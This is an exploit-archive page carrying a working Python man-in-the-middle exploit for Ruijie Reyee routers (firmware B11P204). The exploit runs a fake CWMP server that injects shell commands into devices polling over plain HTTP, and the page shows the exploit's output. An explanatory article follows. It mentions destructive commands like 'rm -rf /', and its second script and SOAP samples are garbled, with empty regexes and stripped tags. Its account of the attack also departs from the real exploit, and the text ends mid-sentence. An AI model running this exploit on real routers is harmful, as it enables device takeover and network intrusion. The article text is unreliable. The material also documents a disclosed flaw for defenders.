Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE)

Exploit Author: Riyan Firmansyah of Seclab Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2023-10-09
# Exploit Title: Ruijie Reyee Wireless Router firmware version B11P204 - MITM Remote Code Execution (RCE)
# Date: April 15, 2023
# Exploit Author: Mochammad Riyan Firmansyah of SecLab Indonesia
# Vendor Homepage: https://ruijienetworks.com
# Software Link: https://www.ruijienetworks.com/support/documents/slide_EW1200G-PRO-Firmware-B11P204
# Version: ReyeeOS 1.204.1614; EW_3.0(1)B11P204, Release(10161400)
# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO

"""
Summary
=======
The Ruijie Reyee Cloud Web Controller allows the user to use a diagnostic tool which includes a ping check to ensure connection to the intended network, but the ip address input form is not validated properly and allows the user to perform OS command injection.
In other side, Ruijie Reyee Cloud based Device will make polling request to Ruijie Reyee CWMP server to ask if there's any command from web controller need to be executed. After analyze the network capture that come from the device, the connection for pooling request to Ruijie Reyee CWMP server is unencrypted HTTP request.
Because of unencrypted HTTP request that come from Ruijie Reyee Cloud based Device, attacker could make fake server using Man-in-The-Middle (MiTM) attack and send arbitrary commands to execute on the cloud based device that make CWMP request to fake server.
Once the attacker have gained access, they can execute arbitrary commands on the system or application, potentially compromising sensitive data, installing malware, or taking control of the system.

This advisory has also been published at https://github.com/ruzfi/advisory/tree/main/ruijie-wireless-router-mitm-rce.
"""

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from html import escape, unescape
import http.server
import socketserver
import io
import time
import re
import argparse
import gzip

# command payload
command = "uname -a"

# change this to serve on a different port
PORT = 8080

def cwmp_inform(soap):
    cwmp_id = re.search(r"(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
    product_class = re.search(r"(?:<ProductClass.*?>)(.*?)(?:<\/ProductClass>)", soap).group(1)
    serial_number = re.search(r"(?:<SerialNumber.*?>)(.*?)(?:<\/SerialNumber>)", soap).group(1)
    result = {'cwmp_id': cwmp_id, 'product_class': product_class, 'serial_number': serial_number, 'parameters': {}}
    parameters = re.findall(r"(?:<P>)(.*?)(?:<\/P>)", soap)
    for parameter in parameters:
        parameter_name = re.search(r"(?:<N>)(.*?)(?:<\/N>)", parameter).group(1)
        parameter_value = re.search(r"(?:<V>)(.*?)(?:<\/V>)", parameter).group(1)
        result['parameters'][parameter_name] = parameter_value
    return result

def cwmp_inform_response():
    return """<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">16</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>"""

def command_payload(command):
    current_time = time.time()
    result = """<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">ID:intrnl.unset.id.X_RUIJIE_COM_CN_ExecuteCliCommand{cur_time}</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand><Mode>config</Mode><CommandList SOAP-ENC:arrayType="xsd:string[1]"><Command>{command}</Command></CommandList></cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(cur_time=current_time, command=command)
    return result

def command_response(soap):
    cwmp_id = re.search(r"(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
    command = re.search(r"(?:<Command>)(.*?)(?:<\/Command>)", soap).group(1)
    response = re.search(r"(?:<Response>)((\n|.)*?)(?:<\/Response>)", soap).group(1)
    result = {'cwmp_id': cwmp_id, 'command': command, 'response': response}
    return result

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    protocol_version = 'HTTP/1.1'
    def do_GET(self):
        self.send_response(204)
        self.end_headers()

    def do_POST(self):        
        print("[*] Got hit by", self.client_address)

        f = io.BytesIO()
        if 'service' in self.path:
            stage, info = self.parse_stage()
            if stage == "cwmp_inform":
                self.send_response(200)
                print("[!] Got Device information", self.client_address)
                print("[*] Product Class:", info['product_class'])
                print("[*] Serial Number:", info['serial_number'])
                print("[*] MAC Address:", info['parameters']['mac'])
                print("[*] STUN Client IP:", info['parameters']['stunclientip'])
                payload = bytes(cwmp_inform_response(), 'utf-8')
                f.write(payload)
                self.send_header("Content-Length", str(f.tell()))
            elif stage == "command_request":
                self.send_response(200)
                self.send_header("Set-Cookie", "JSESSIONID=6563DF85A6C6828915385C5CDCF4B5F5; Path=/service; HttpOnly")
                print("[*] Device interacting", self.client_address)
                print(info)
                payload = bytes(command_payload(escape("ping -c 4 127.0.0.1 && {}".format(command))), 'utf-8')
                f.write(payload)
                self.send_header("Content-Length", str(f.tell()))
            else:
                print("[*] Command response", self.client_address)
                print(unescape(info['response']))
                self.send_response(204)
                f.write(b"")
        else:
            print("[x] Received invalid request", self.client_address)
            self.send_response(204)
            f.write(b"")

        f.seek(0)
        self.send_header("Connection", "keep-alive")
        self.send_header("Content-type", "text/xml;charset=utf-8")
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()

    def parse_stage(self):
        content_length = int(self.headers['Content-Length'])
        post_data = gzip.decompress(self.rfile.read(content_length))
        if "cwmp:Inform" in post_data.decode("utf-8"):
            return ("cwmp_inform", cwmp_inform(post_data.decode("utf-8")))
        elif "cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse" in post_data.decode("utf-8"):
            return ("command_response", command_response(post_data.decode("utf-8")))
        else:
            return ("command_request", "Ping!")
        
    def log_message(self, format, *args):
        return

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--bind', '-b', default='', metavar='ADDRESS',
                        help='Specify alternate bind address '
                             '[default: all interfaces]')
    parser.add_argument('port', action='store',
                        default=PORT, type=int,
                        nargs='?',
                        help='Specify alternate port [default: {}]'.format(PORT))
    args = parser.parse_args()

    Handler = CustomHTTPRequestHandler
    with socketserver.TCPServer((args.bind, args.port), Handler) as httpd:
        ip_addr = args.bind if args.bind != '' else '0.0.0.0'
        print("[!] serving fake CWMP server at {}:{}".format(ip_addr, args.port))
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            pass
        httpd.server_close()


"""
Output
======
ubuntu:~$ python3 exploit.py
[!] serving fake CWMP server at 0.0.0.0:8080
[*] Got hit by ('[redacted]', [redacted])
[!] Got Device information ('[redacted]', [redacted])
[*] Product Class: EW1200G-PRO
[*] Serial Number: [redacted]
[*] MAC Address: [redacted]
[*] STUN Client IP: [redacted]:[redacted]
[*] Got hit by ('[redacted]', [redacted])
[*] Device interacting ('[redacted]', [redacted])
Ping!
[*] Got hit by ('[redacted]', [redacted])
[*] Command response ('[redacted]', [redacted])
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.400 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.320 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.320 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.300 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.300/0.335/0.400 ms
Linux Ruijie 3.10.108 #1 SMP Fri Apr 14 00:39:29 UTC 2023 mips GNU/Linux

"""


Exploiting Ruijie Reyee Mesh Router: A Deep Dive into MITM-Based Remote Code Execution (RCE)

Security vulnerabilities in consumer-grade networking devices often go unnoticed until exploited in real-world scenarios. One such critical flaw was recently disclosed in the Ruijie Reyee Wireless Router firmware version B11P204, specifically affecting models like the RG-EW1200 and RG-EW1200G PRO. This vulnerability enables a Man-in-the-Middle (MITM) attack leading to Remote Code Execution (RCE) — a high-risk exploit that can compromise entire home or enterprise networks.

Understanding the Vulnerability: A Chain of Weaknesses

The core of this exploit lies in the Ruijie Reyee Cloud Web Controller, a centralized management interface designed to monitor and control connected devices. One of its diagnostic tools allows users to perform a ping check to verify network connectivity. However, the input field for the target IP address lacks proper validation, making it susceptible to OS command injection.

When an attacker enters a malicious payload — such as 192.168.1.1; uname -a — the system fails to sanitize the input. Instead, it forwards the command as part of a CWMP (CPE WAN Management Protocol) request to the cloud server. This protocol is used for device management, typically via TR-069 standards.

Exploiting the Unencrypted Communication Channel

Here’s where the vulnerability escalates: the device communicates with the Ruijie Reyee CWMP server using unencrypted HTTP — not HTTPS. This absence of encryption creates a perfect window for a MITM attack.

An attacker can set up a rogue server that mimics the legitimate CWMP server. When the device sends its periodic Inform request (e.g., to check for pending commands), the attacker intercepts the request and responds with a crafted SOAP message containing arbitrary commands.

"""


  
    
      12345
      RG-EW1200G PRO
      ABC123XYZ
      
        
          Device.Command
          echo "Malicious payload executed"
        
      
    
  

"""

This example shows a malicious Inform response that includes a Device.Command parameter with a shell command. The router, trusting the unencrypted response, executes the command without verification.

Attack Vector: The MITM Setup

The exploit leverages a spoofed CWMP server running on a local network. Using tools like Python's HTTP server or mitmproxy, an attacker can simulate the cloud server and intercept device requests.

Below is a simplified Python script used to simulate the malicious CWMP server:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from http.server import HTTPServer, BaseHTTPRequestHandler
import re

PORT = 8080

class CWMPHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode('utf-8')
        
        # Extract CWMP ID, ProductClass, SerialNumber
        cwmp_id = re.search(r"(.*?)", post_data)
        product_class = re.search(r"(.*?)", post_data)
        serial_number = re.search(r"(.*?)", post_data)
        
        # Construct malicious response
        response = """

  
    
      0
      
        
          Device.Command
          uname -a
        
      
    
  
"""
        
        self.send_response(200)
        self.send_header('Content-Type', 'text/xml')
        self.end_headers()
        self.wfile.write(response.encode('utf-8'))

if __name__ == "__main__":
    with HTTPServer(("", PORT), CWMPHandler) as server:
        print(f"[*] MITM CWMP server listening on port {PORT}")
        server.serve_forever()

Explanation: This script sets up a simple HTTP server that listens for POST requests from the router. It parses the incoming CWMP Inform message and responds with a crafted InformResponse containing a command to execute. The uname -a command is used here as a proof-of-concept to demonstrate that arbitrary commands can be executed on the device.

Impact and Risks

Once an attacker gains remote code execution, they can:

  • Execute arbitrary shell commands — such as rm -rf / or ssh-keygen to install persistent backdoors.
  • Access sensitive configuration files — including Wi-Fi credentials, admin passwords, or user data stored in the device's filesystem.
  • Install malware or reverse shells — enabling long-term control over the device.
  • Use the router as a pivot point — to attack other devices on the local network, including IoT devices, smart TVs, or even corporate systems.

Why This Is a Critical Vulnerability

Unlike typical RCE exploits that require authentication or direct access, this attack is remote and passive. An attacker doesn’t need to physically access the device or know credentials. They only need to be on the same local network — a common scenario in public Wi-Fi or shared home networks.

Furthermore, the lack of encryption in CWMP communications is a design flaw that undermines the entire security model. Even if the cloud server is secure, the unencrypted communication channel between the device and the server is a weak link.

Recommendations and Mitigation

For users and administrators, the following actions are critical:

  • Update firmware immediately — Check Ruijie’s official support page for updated versions (e.g., B11P205 or later).
  • Disable cloud-based management — If not required, disable the cloud controller feature to reduce attack surface.
  • Use encrypted network segments — Implement VLANs or firewall rules to isolate IoT devices from critical systems.
  • Monitor network traffic — Use tools like Wireshark or Suricata to detect unusual SOAP traffic patterns.

Expert Insight: The Broader Implications

This exploit highlights a growing trend in IoT security: cloud-based management protocols are often insecure by default. Many vendors prioritize ease of use over security, leading to vulnerabilities like this one.

As more devices become